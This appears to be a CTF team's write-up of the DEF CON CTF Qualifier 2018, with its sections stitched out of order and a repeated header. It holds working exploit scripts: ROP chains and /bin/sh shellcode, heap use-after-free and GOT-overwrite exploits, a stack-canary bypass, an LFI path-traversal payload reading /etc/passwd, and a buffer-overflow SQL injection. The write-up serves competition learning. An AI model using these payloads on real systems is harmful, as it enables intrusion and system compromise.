reset = False # Change to False when known part is long enough# flag = 'OOOOOOOOOOOOOOOOI.....................' # dim = 0# flag = 'OOOOTHISISA.....MESSAGETOWASTEYOURTIME' # dim = 1flag = 'OOO.............INTELLIGENCEISREQUIRED' # dim = 2
import numpy as npfrom PIL import Imageimport osfrom tqdm import tqdm, trangeimport randomfrom keras.models import load_model, Model
model = load_model('model.h5')model = Model(input=model.input, output=model.layers[-2].output)
data = [np.asarray(Image.open('sample_%d.png' % i)).reshape(28, 1064).astype(np.float) for i in range(10)]data = [im for d in data for im in np.split(d, 38, axis=1)]char = ''.join([ 'RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIUI', 'MOLDERINGIINTELSDEDICINGCOYNESSDEFIECT', 'AMADOFIFESINSTIIIINGGREEDIIVDISIOCATIN', 'HAMIETSENSITIZINGNARRATIVERECAPTURINGU', 'EIECTROENCEPHAIOGRAMSPALATECONDOIESPEN', 'SCHWINNUFAMANAGEABLECORKSSEMICIRCIESSH', 'BENEDICTTURGIDITYDSYCHESPHANTASMAGORIA', 'TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW', 'KINGFISHERCOMMONERSUERIFIESHORNETAUSTI', 'LIQUORHEMSTITCHESRESPITEACORNSGOALREDI',])data = list(zip(data, char))
def softmax(x): """Compute softmax values for each sets of scores in x.""" e_x = np.exp(x - np.max(x)) return e_x / e_x.sum()
for z in trange(100): if reset or z == 0: img, text = zip(*random.sample(data, 38)) img = np.concatenate(img, 1).reshape(1, 28, 1064, 1) text = list(text) r = model.predict([img])[0] score = r[dim] bar = trange(1000) bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) for i in bar: cur = img.copy() while True: idx = random.randrange(0, 38) im, c = random.sample(data, 1)[0] if text[idx] != flag[idx] or flag[idx] == c: break cur[0,:, idx*28:(idx+1)*28,0] = im r = model.predict([cur])[0] s = r[dim] if ( text[idx] != flag[idx] and flag[idx] == c ) or s > score or random.random() < (100/(i+100 + z *10)) ** 4: text[idx] = c bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) score = s img = cur tqdm.write(''.join(text)) bar.close()```
* Part 2 * Use dictionary and trie to find all the possible sentences. * Dictionary: https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt * Remember to remove the useless words that length is in range 1~3. * Code:
```C++ #include<bits/stdc++.h> #define f first #define s second using namespace std; //typedef pair<int,int>par; typedef pair<double,double>par; int nod[1000005][26],id=2; bool ok[1000005]; string ans; vector<int>ve[38]; void F(int nw,int now){ if(nw==38){ if(now==1)cout<<ans<<endl; return ; } for(int x:ve[nw]){ if(!nod[now][x])continue; ans.push_back('A'+x); F(nw+1,nod[now][x]); if(ok[nod[now][x]]){ ans.push_back(' '); F(nw+1,1); ans.pop_back(); } ans.pop_back(); } } int main(){ string s; int count=0; while(cin>>s){ if(s=="0")break; if(++count>1000&&s.length()<=3)continue; int now=1; for(char &c:s){ c|=32; if(!nod[now][c-'a']) nod[now][c-'a']=id++; now=nod[now][c-'a']; } ok[now]=1; } while(cin>>s){ if(s=="0")break; for(char &c:s) c|=32; for(int i=0;i<38;i++) ve[i].push_back(s[i]-'a'); } for(int i=0;i<38;i++) sort(ve[i].begin(),ve[i].end()), ve[i].resize(unique(ve[i].begin(),ve[i].end())-ve[i].begin()); F(0,1); //for(int i=0;i<38;i++) return 0; } ```
* input
``` [The Dictionary] 0 OOOTOYEUUTHTNTICINTELLIGENCEISREQUIRED OOOTOYEGUTHTNTICINTELLIGENCEISREQUIRED OOOIOYCUUTUCNTICINTELLIGENCEISREQUIRED OOOSOYEUUCUTNTICINTELLIGENCEISREQUIRED OOOTOYCGLCHENTICINTELLIGENCEISREQUIRED OOOTOYCUUCUCNTUCINTELLIGENCEISREQUIRED OOOIOYEULTUTNTICINTELLIGENCEISREQUIRED OOOSOYCULTUCNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTWCICINTELLIGENCEISREQUIRED OOOSOYEOUTUTNTICINTELLIGENCEISREQUIRED OOOSOYCGHTUENTICINTELLIGENCEISREQUIRED OOOTOYCGLTYCNTICINTELLIGENCEISREQUIRED OOOTOYEUUTUTNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTNCICINTELLIGENCEISREQUIRED OOOSOYCUUTHCNTIOINTELLIGENCEISREQUIRED OOOSOORONTNCNTIOINTELLIGENCEISREQUIRED OOOSOMCSHTGCWTICINTELLIGENCEISREQUIRED OOOTOMEOGTSTNTITINTELLIGENCEISREQUIRED OOOIOOEHUTUTNTITINTELLIGENCEISREQUIRED OOOINOEUUTATHTICINTELLIGENCEISREQUIRED OOOTCMCSNSATNTICINTELLIGENCEISREQUIRED OOOTGWRSUTNCNTICINTELLIGENCEISREQUIRED OOOSOQEAUIUCWSICINTELLIGENCEISREQUIRED OOOTOOECHIUCNTIGINTELLIGENCEISREQUIRED OOOTOWEGHSOTHTIEINTELLIGENCEISREQUIRED OOOSOMEGNTOENTILINTELLIGENCEISREQUIRED OOOSCOCGNTHTNTILINTELLIGENCEISREQUIRED OOOSONEGNTNCNTICINTELLIGENCEISREQUIRED OOOSCOCYNTOTUTICINTELLIGENCEISREQUIRED OOOSDUEONCOTLTIOINTELLIGENCEISREQUIRED OOOTDUCONTNTLTIDINTELLIGENCEISREQUIRED OOOTCMCGNCNTNTITINTELLIGENCEISREQUIRED OOOTQYFGNTATNTUEINTELLIGENCEISREQUIRED OOOSDUECLTUTNTICINTELLIGENCEISREQUIRED OOOTOWCUNTUTNTILINTELIIGENCEISREOUIRED OOOTOMSGUTHENTICINTELLIGENCEISREOUIRED OOOTOUTGLTOENCUCINTELLIGENCEISREQUIRED OOOTOUEUUTNENTICINTELLIGENCEISREQUIRED OOOTOMEGUTOENCICINTELLIGENCEISREQUIRED OOOTONEGLTUCNTIOINTELLIGENCEISREQUIRED OOOTOOEANTSENTICINTELLIGENCEISREQUIRED OOOTOUEUUTUELIICINTELLIGENCEISREQUIRED OOOTOMCAUTYENCICINTELLIGENCEISREQUIRED OOOTOYCCNTYTWTICINTELLIGENCEISREQUIRED OOOTOOCANCUTNTICINTELLIGENCEISREQUIRED OOOTOMEINIHENTICINTELLIGENCEISREQUIRED OOOTOYEUNTYTNTICINTELLIGENCEISREQUIRED OOOTOOEUUTHCNTICINTELLIGENCEISREQUIRED OOOTOMCULTUTNTIOINTELLIGENCEISREQUIRED OOOTOMEYNTUENTICINTELLIGENCEISREQUIRED OOOYOMEUMTURMIJCINTELLIGENCEISREQUIRED OOOIDMEUMTURWYJCINTELLIGENCEISREQUIRED OOOLDMEUMTURWYLCINTELLIGENCEISREQUIRED 0 ``` * Flag: `OOOSOMEAUTHENTICINTELLIGENCEISREQUIRED`
### Note Oriented Programming* Setup the value on the stack and call sys_sigreturn* After that, eax = 0x3 ebx=0x0 ecx=0x6060654f edx=0x4f4f4f4f cs=0x23 ss=0x2b ds=0x2b* Now eip is 0x60606565 pointer to "int 0x80" to call sys_read* Then, write shellcode on the 0x6060654f to get shell
```python=from __future__ import print_functionimport sysimport structimport hashlibfrom pwn import *# inspired by C3CTF's POW
table = ['A' , 'A#' , 'B' , 'C' , 'C#' , 'D' , 'D#' , 'E' , 'F' , 'F#' , 'G' , 'G#']
def val(x): a = table.index(x[:-1])*1.0 b = float(x[-1]) return (2.0**(b+a/12.0))*27.5
cmd = ["F9","G0"]*0xecmd += ["G9","G0"]*0x40cmd += ["A2","G0","A0","G0"]cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]*0x17cmd += ["G9","G0"]*0x6cmd += ["A2","F8"] cmd += ["A0","G0"]cmd += ["A4","A9","E0","A4","D9","E0"]cmd += ["A0","G1"] cmd += ["A0","G2"] cmd += ["A4","A9","E0","A4","D9","E0","A2","F8"]cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G3"] cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G4"] cmd += ["A0","G5"] cmd += ["A0","G6"] cmd += ["G9","G0"]*6cmd += ["G0","G0"]*8 cmd += ["G9","G0"]cmd += ["A2","F8"]cmd += ["A0","G0"]cmd += ["A0","G1"] cmd += ["A4","A9","E0","A4","D9","E0"] cmd += ["A0","G2"] cmd += ["A0","G3"]cmd += ["A4","A9","E0","A4","D9","E0","A2","F9","A2","F2","A4","A9","E0","A4","F9","E0"]cmd += ["A0","G4"]cmd += ["A2","F9","A2","F2","A4","A9","E0","A4","F9","E0","A2","F8"] cmd += ["G9","G0"]*4cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"] cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"] cmd += ["G0","G0"]*0xccmd += ["F9","G0"]*0x7 cmd += ["A2","F8","A4","A9","E0","A4","B9","E0","G2","G0"]cmd += ["D9","G0"]*(0x70-0x1f)+["D#7"]*0x1f
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
if __name__ == '__main__': r = remote("4e6b5b46.quals2018.oooverflow.io",31337) r.recvuntil("Challenge: ") challenge = r.recvline()[:-1] r.recvuntil("n: ") n = int(r.recvline()[:-1]) print('Solving challenge: "{}", n: {}'.format(challenge, n))
solution = solve_pow(challenge, n) print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution))) r.sendlineafter("Solution:",str(solution))
for c in cmd: r.send(p16(val(c)))
r.send(p16(0x0))
payload = "\x90"*0x18 payload += asm(""" mov esp,0x40404a00 push 0x0068732f push 0x6e69622f mov eax,0xb mov ebx,esp xor ecx,ecx xor edx,edx int 0x80 """) r.send(payload) r.interactive()
```## From The Grill
### elastic cloud compute (memory) corruption
* It will use qemu-system-x86_64 to boot a vm* It tells us, we need to do something with PCI device* Then I found this [writeup](https://kitctf.de/writeups/hitb2017/babyqemu)* Now we know that we need to exploit via `/sys/devices/pci0000:00/0000:00:04.0/resource0`* Decompile qemu-system-x86_64 and look for mmio read write function.* I only leveraged write funtion* There is a buffer which is located at `0x1317940` and three kinds of operations* You can `malloc` `free` `write` some chunks. And all the chunk will be on that buffer* I list the write function here:
```cvoid __fastcall OOO_mmio_write(__int64 a1, __int64 offset, __int64 value, unsigned int a4){ unsigned int v4; // eax@1 char n[12]; // [sp+4h] [bp-3Ch]@1 __int64 v6; // [sp+10h] [bp-30h]@1 __int64 v7; // [sp+18h] [bp-28h]@1 __int16 v8; // [sp+22h] [bp-1Eh]@11 int i; // [sp+24h] [bp-1Ch]@5 unsigned int v10; // [sp+28h] [bp-18h]@1 unsigned int v11; // [sp+2Ch] [bp-14h]@4 unsigned int v12; // [sp+34h] [bp-Ch]@11 __int64 v13; // [sp+38h] [bp-8h]@1
v7 = a1; v6 = offset; *(_QWORD *)&n[4] = value; v13 = a1; v10 = ((unsigned int)a2 & 0xF00000) >> 20; v4 = ((unsigned int)a2 & 0xF00000) >> 20; if ( v4 == 1 ) { free(*(&qword_1317940 + (((unsigned int)v6 & 0xF0000) >> 16))); } else if ( v4 == 2 ) { v12 = ((unsigned int)v6 & 0xF0000) >> 16; v8 = v6; memcpy((char *)*(&qword_1317940 + (signed int)v12) + (signed __int16)v6, &n[4], a4); } else if ( !v4 ) { v11 = ((unsigned int)v6 & 0xF0000) >> 16; if ( v11 == 15 ) { for ( i = 0; i <= 14; ++i ) *(&qword_1317940 + i) = malloc(8LL * *(_QWORD *)&n[4]); } else { *(&qword_1317940 + (signed int)v11) = malloc(8LL * *(_QWORD *)&n[4]); } }}```
* The operation will be determined by IO offset. When your write offset is 0xabXXXX. * If a==1, then it will trigger free operation. * If a==2, then it will trigger write operation.* Otherwise, it will trigger malloc.* And b indicate the chunk offset on 0x1317940* The value will be the chunk size or the value written on the chunk* XXXX will be the offset on the chunk* There is a UAF vulnerabilty!! You can overwrite freed chunk to launch fastbin attack.* We can forge a fake chunk on the 0x1317940. then we can write 0x1317940. It also means that we have an arbitrary write.* We can overwrite GOT to hijack control flow* There is a magic function which is located at 0x6e65f9. It will triger system("cat ./flag")* Use GOT-hijacking then you can run that magic function and get the flag* Unfortunately we cannot upload a binary on remote vm, becasue the vm has no network connection. We can base64 encode our binary and send it to the vm. But the binary needs to be small enough, or you cannot send the whole binary because of network conditon.* So I write some shellcode for exploit.* The shellcode:
```nasmsection .data msg db "/sys/devices/pci0000:00/0000:00:04.0/resource0"section .text global _start_start: mov rax, 2 mov rdi, msg mov rsi, 2 mov rdx, 0 syscall mov rdi, 0 mov rsi, 0x1000000 mov rdx, 3 mov r10, 1 mov r8, rax mov r9, 0 mov rax,9 syscall mov rcx, rax mov WORD [rax+0x20000],0xc # malloc a chunk on 0x1317940+0x8*2 mov BYTE [rax+0x120000],0xc # free the chunk on 0x1317940+0x8*2 mov DWORD [rax+0x220000],0x131794d # overwrite the fd on 0x1317940+0x8*2 mov DWORD [rax+0x220004],0x0 # mov BYTE [rax+0x10000],0xc # malloc once mov BYTE [rax+0x10000],0xc # malloc twice , now we have a chunk at 0x131794d mov DWORD [rax+0x210000],0xa0000000 # forge a fake chunk address on 0x1317960 and the address will be free got (0x11301a0) mov DWORD [rax+0x210004],0x11301 # mov DWORD [rax+0x240000],0x6e65f9 # Overwrite free got. The new address will trigger system("cat ./flag") mov DWORD [rax+0x240004],0x0 # mov DWORD [rax+0x120000],0x0 # Trigger free and get the flag !! mov rax, 60 xor rdi, rdi syscall# nasm -felf64 a.asm -o a.o && ld a.o && base64 a.out > shellcode```* And the code to send shellcode:
```pythonimport sysimport structimport hashlibfrom pwn import *
# inspired by C3CTF's POW
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
r=remote("11d9f496.quals2018.oooverflow.io",31337)r.recvuntil("Challenge:")cha=r.recvline().strip("\n")r.recvuntil("n:")n=r.recvline().strip("\n")
solution = solve_pow(cha[1:], int(n))
r.sendline(str(solution))r.recvuntil("/ #")f=open("shellcode")for i in f.readlines(): r.sendline('echo "'+i.strip('\n')+'" >> 1234')r.sendline("base64 -d 1234 > bb")r.sendline("chmod +x ./bb")r.sendline("./bb")r.interactive()# The flag is OOO{did you know that the cloud is safe}```
### Race Wars1. The vulnerability exists during the program asks for tire amount; when doing so, we can apply for 0x8000000 tires to cause int overflow (0x8000000*0x20 = 0), and make the program allocate 0-size memory, but the tires struct can still be placed on heap for us to control.2. Use transmission function to overlap the tires struct and transmission struct 3. Use modify_tires functions to set all the attributes of tire as 0xffff4. Use modify_transmission function to get relative address read/write capability of arbitrary memory5. Read heap address and code GOT address to get libc address, then modify exit GOT to one_gadget, call exit, and get shell* code:
```python=from pwn import *import sysimport timeimport randomhost = '2f76febe.quals2018.oooverflow.io'port = 31337
binary = "./racewars"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
def new(): pass
def edit(): pass
def remove(): pass
def show(start,end): pass r.recvuntil(start) data = r.recvuntil(end)[:-len(end)] return data
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
def tires(num): r.recvuntil("E: ") r.sendline("1") r.recvuntil("?\n") r.sendline(str(num))
def chassis(option): r.recvuntil("E: ") r.sendline("2") r.recvuntil("pse\n") r.sendline(str(option))
def engine(): r.recvuntil("E: ") r.sendline("3")
def transmission(option): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(option))
def modify_tires_w(width): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("1") r.recvuntil(": ") r.sendline(str(width))
def modify_tires_a(ratio): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("2") r.recvuntil(": ") r.sendline(str(ratio))
def modify_tires_c(radial): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("3") r.recvuntil(": ") r.sendline(str(radial))
def modify_tires_d(diameter): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("4") r.recvuntil(": ") r.sendline(str(diameter))
def modify_chassis(): r.recvuntil("E: ") r.sendline("2") r.recvuntil(": ") r.sendline("1")
def modify_engine(): r.recvuntil("E: ") r.sendline("3")
def modify_transmission(gears,ratio,gear): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(gears)) r.recvuntil("gear ratio for gear " + str(gears) + " is ") addr = r.recvuntil(", mo")[:-4] r.recvuntil(": ") r.sendline(str(ratio)) r.recvuntil(")") r.sendline(str(gear)) return addr
def buy(): r.recvuntil("E: ") r.sendline("5")
def race(): r.recvuntil("E: ") r.sendline("6")
if __name__ == '__main__': print "start" tires(0x8000000) transmission(1) chassis(1) engine() modify_tires_w(0xffff) modify_tires_a(0xffff) modify_tires_c(0xffff) modify_tires_d(0xffff) addr = "" for i in xrange(8): addr += chr(int(modify_transmission(0xffffffffffffff70+i,0x44,0))) heap = u64(addr) - 0xe0 print "heap =", hex(heap) h = -0xa0 puts_got = 0x603020
leak = ((puts_got - heap) - 0x90 - 0x10)&0xffffffffffffffff addr = "" for i in xrange(8): addr += chr(int(modify_transmission(leak+i,0x44,0))) puts = u64(addr) libc.address = puts - libc.symbols["puts"] print "libc.address =" , hex(libc.address) exit_got = 0x0603060 magic = libc.address + 0xf1147 leak = ((exit_got - heap) - 0x90-0x10)&0xffffffffffffffff print hex(magic) for i in xrange(8): modify_transmission(leak+i,ord(p64(magic)[i]),1) buy() tires(1) r.sendline("ls")
r.interactive()```### Say Hi!
You can send anything as the flag !!`OOO{Happy Mother's Day!!}``
### exzendtential-crisis (unsolved)
After loggin in, we found a LFI vulnerability.`http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../etc/passwd`
We retrive these files from the server:
- All PHP source code, but `flag.php` is WAFed.- /etc/php7/apache2/php.ini (not sure, I forget the exact location)- /usr/lib/php/20151012/mydb.so (found the path in php.ini)- /var/lib/mydb/mydb.db (found the path in mydb.so)
The main problem is the customized functions, `check_redential`, `get_user_id` .... Those function use PHP extension, written in C++, in `mydb.so`.
A quick reverse engineering will find a interesting function `check_hacker_attempt`. You can found the source code [in the official repo](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69). the `strcpy` leads to a buffer overflow. It copies a `std::string` to a 100 byte C string.
Our main objective is to make `get_user_id()` return 1, which is the admin's user id. Exploiting the buffer overflow can [overwrite the table_name](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69).
Here is the evil input: `print("A"*112+"users where rowid=1;--")`
The SQL query becomes:
```select rowid from users where rowid=1;-- where username = '...' and password = '...';```
Then the query returns 1. We are the admin now. Visit `flag.php` and get the flag!
Postscript: We fail to solve this because the reversing of `strcyp` tends to be confusing here. The code below is equal to `strcpy`. However, we somehow missed this part :(
```c++v5 = str_len + 1;if ( v5 >= 8 ){ *(_QWORD *)to_check = *(_QWORD *)username; *(_QWORD *)&to_check[v5 - 8] = *(_QWORD *)&username[v5 - 8]; qmemcpy( (void *)((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL), (const void *)(username - &to_check[-((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL)]), 8LL * ((v5 + (_DWORD)to_check - (((_DWORD)to_check + 8) & 0xFFFFFFF8)) >> 3));}else if ( v5 & 4 ){ *(_DWORD *)to_check = *(_DWORD *)username; *(_DWORD *)&to_check[v5 - 4] = *(_DWORD *)&username[v5 - 4];}else if ( v5 ){ *to_check = *username; if ( v5 & 2 ) *(_WORD *)&to_check[v5 - 2] = *(_WORD *)&username[v5 - 2];}v12 = sub_34E0;v11 = (__int64 (__fastcall *)(char *, __int64, int))sub_3220;```
## Guest Chefs
### PHP Eval White-List
- run ` die("`../flag`"); `- `OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}`
### ghettohackers: Throwback
The interval of each '!' is the index of alphabet.
The text is `Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!`. First we try to find all letters on '!' and get `nwltisoos`.We try lots of possible decryptions like XOR, ord(i) - ord('!'), letters reorganization, affine cipher, Atbash cipher, and many classical ciphers but all failed.Finally, we notice that the place of '!' maybe a hint. We calculate the interval of each '!' and got `[4, 1, 18, 11, 0, 12, 15, 7, 9, 3, 0]`. We think these numbers are the index of alphabet (e.g. `4` is `d`), and write a code to print the answer.
```ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'sp = ori.split('!')print repr(''.join(chr(97 + len(s) - 1) for s in sp))```
### ddtek: Preview
#### reverse
* Use `IDA pro` to decompile the binary.* At first galance, we cannot get any useful information.* Use `gdb` and find out that it will mmap a new area for `real program`* There is a function which will do some xor stuff on `0x602000` and mmap an memory area for it. That is real program* In `gdb`, you can do this `dump binary memory result.bin 0x602000 0x605000`
* Now we have the real program.
#### exploit1. Use the string "HEAL /proc/self/maps" to get the code address and /lib/x86_64-linux-gnu/ld-2.23.so address2. canary is combined by code address and /lib/x86_64-linux-gnu/ld-2.23.so address 3. make the program stack overflow, bypass the canary, and use ROP to get shell
```python=from pwn import *import sysimport timeimport randomhost = 'cee810fa.quals2018.oooverflow.io'port = 31337
binary = "./preview"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
if __name__ == '__main__': print "start" r.recvuntil("Standing by for your requests\n") r.sendline("HEAD /proc/self/maps\x00" + "A"*0x42) r.recvuntil("Here's your preview:\n") data = r.recvuntil("\n") if "/lib/x86_64-linux-gnu/ld-2" in data: ld_addr = data[:data.find("-")] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") if "r-xp" in data: code = data[:data.find('-')] else: data = r.recvuntil("\n") code = data[:data.find('-')] elif "r-xp" in data: code = data[:data.find('-')] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") ld_addr = data[:data.find("-")] ld_addr = int(ld_addr,16) code = int(code,16) pop_rdi = 0x00000000000010b3 + code pop_rsi_1 = 0x00000000000010b1 + code puts_got = code + 0x202020 puts_plt = code + 0x0009E0 read_plt = code + 0x000A60 pop_rsp_3 = code + 0x00000000000010ad print "code =", hex(code) print "ld_addr =" ,hex(ld_addr) canary = (code/0x1000 + ld_addr/0x1000 * 0x10000000)*0x100 print "canary =" , hex(canary) raw_input("@") r.sendline("A"*88 + p64(canary) +"A"*8+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(0) + p64(pop_rsi_1) + p64(code + 0x0202800) + p64(0) + p64(read_plt) + p64(pop_rsp_3) + p64(code + 0x0202800)) r.recvuntil("Malformed request\n")
puts = u64(r.recv(6).ljust(8,"\x00")) libc.address = puts - libc.symbols['puts'] print "libc.address =" , hex(libc.address) r.sendline("A"*24 + p64(pop_rdi) + p64(code + 0x0202800+0x30) + p64(libc.symbols['system']) + "/bin/sh\x00")
r.interactive() ```
|
# DEF CON CTF Qualifier 2018
Written by BFS
BFS consists of four CTF teams form Taiwan: Balsn, Bamboofox, DoubleSigma, KerKerYuan.
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180512-defconctfqual/) of this writeup.**
- [DEF CON CTF Qualifier 2018](#def-con-ctf-qualifier-2018) - [Amuse Bouche](#amuse-bouche) - [ELF Crumble](#elf-crumble) - [You Already Know - warmup](#you-already-know---warmup) - [Easy Pisy - crypto, web](#easy-pisy---crypto-web) - [babypwn1805 - pwn](#babypwn1805---pwn) - [sbva - Web](#sbva---web) - [Appetizers](#appetizers) - [It's-a me!](#its-a-me) - [shellql](#shellql) - [flagsifier - Reverse](#flagsifier---reverse) - [Behavior](#behavior) - [Note Oriented Programming](#note-oriented-programming) - [From The Grill](#from-the-grill) - [elastic cloud compute (memory) corruption](#elastic-cloud-compute-memory-corruption) - [Race Wars](#race-wars) - [Say Hi!](#say-hi) - [exzendtential-crisis (unsolved)](#exzendtential-crisis-unsolved) - [Guest Chefs](#guest-chefs) - [PHP Eval White-List](#php-eval-white-list) - [ghettohackers: Throwback](#ghettohackers-throwback) - [ddtek: Preview](#ddtek-preview) - [reverse](#reverse) - [exploit](#exploit)
## Amuse Bouche
### ELF CrumbleOriginal binary in range 0x05ad ~ 0x08d3 is filled with `X`. Search through all 8! permutation of fragments to get the flag.
### You Already Know - warmup* Open the problem -> F12 -> Network -> Reopen the problem -> See the flag. `OOO{Sometimes, the answer is just staring you in the face. We have all been there}`
### Easy Pisy - crypto, web
- Service
* First service : Server will Recognized pdf input via OCR and sign `(by openssl_sign($data, $signature, $privkey)`, but it will reject to sign on EXECUTE command)
* Second one : Give the signed value and pdf, this service will execute the command(extracted by ocr) if the signed verify.
- We found that this function will `sha1(data)` before signing.
Therefore, draw two command on picture,and put them into the pdf, Google released last year, to get two pdf with sha1-collision.
1. send the picutre 1 (`without EXECUTE`) to first service to `get the signature`
2. pass this signature and sha1-collision pdf ( with `EXECUTE cat<flag`) to get the flag.
[python script](https://github.com/sonickun/sha1-collider/blob/master/collider.py)
### babypwn1805 - pwn* Overwrite the pointer of program name, and trigger `SSP` -> leak information.* Get serveral `libc`.* Overwite `GOT read` with `onegadget` -> with probability 1/16 (correct libc).* `/opt/ctf/babypwn/home/flag`.* `OOO{to_know_the_libc_you_must_become_the_libc}`
```python=#!/usr/bin/env pythonfrom pwn import *import sysimport structimport hashlibimport randomfrom threading import Timer
# OOO{to_know_the_libc_you_must_become_the_libc}
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
def hit(): cmd = 'id;LD_PRELOAD='';' cmd += 'cat /opt/ctf/babypwn/home/flag;' cmd += 'ls -al /opt/ctf/babypwn/home/;' cmd += 'source /opt/ctf/babypwn/flag.txt 2>&1;' #cmd += 'python -c \'import pty; pty.spawn("/bin/bash")\'' y.sendline( cmd ) print y.recv( 2048 )
host , port = 'e4771e24.quals2018.oooverflow.io' , 31337y = remote( host , port )
y.recvuntil( ': ' )challenge = y.recvline().strip()y.recvuntil( ': ' )n = int( y.recvline() )y.sendlineafter( ':' , str( solve_pow(challenge, n) ) )
success( 'Go' )
t = 0.3y.recvuntil( 'Go\n' )
for i in xrange( 0x10000 ): y.send( p64( 0xffffffffffffffc8 ) ) p = 0xae77 y.send( p16( p ) ) t = Timer(1.0, hit) t.start() y.recvuntil( 'Go' , timeout=1 ) t.cancel()```
### sbva - Web
This is one of the easiest challenges in the comptition.
First, we are given the admin's username and password to login, but the server will return `Incompatible browser detected`. How does the server derect our browser? A quick guess is through the `User-Agent` header. So what if the header does not contain the user agent string?
``` sh$ curl 'http://0da57cd5.quals2018.oooverflow.io/login.php' -d '[email protected]&password=admin' -H 'User-Agent:'`
<br />Notice: Undefined index: HTTP_USER_AGENT in /var/www/html/browsertest.php on line 3
<html> <style scoped> h1 {color:red;} p {color:blue;} </style> <video id="v" autoplay> </video> <script> if (navigator.battery.charging) { console.log("Device is charging.") } </script></html>```
A PHP error occurs above, so the server actually infers our browser through the user agent header. However, there are various user-agent. It's sorts of silly to try each of them since the server might detect the version number as well.
In order to reduce possible user agent, [navigator.battery](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/battery) in javascript is an important clue. It seems that only Chrome and Firefox support this.
Let's try Firefox with different version number first. The Firefox user agent spcification is [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox), though I'm just blindly trying the possibile version number without following the specification.
```python#!/usr/bin/env python3# Python 3.6.5import requestsfrom itertools import product
s = requests.session() for i, j in product(range(0, 6), range(0, 51)): agent = f'Mozilla/{i}.0 (Windows NT 10.0; WOW64; rv:{j}.0) Gecko/20100101 Firefox/{j}.0' headers={'User-Agent': agent} r = s.post('http://0da57cd5.quals2018.oooverflow.io/login.php', data=dict(username='[email protected]', password='admin'), headers=headers) print(r.text, i, j)```
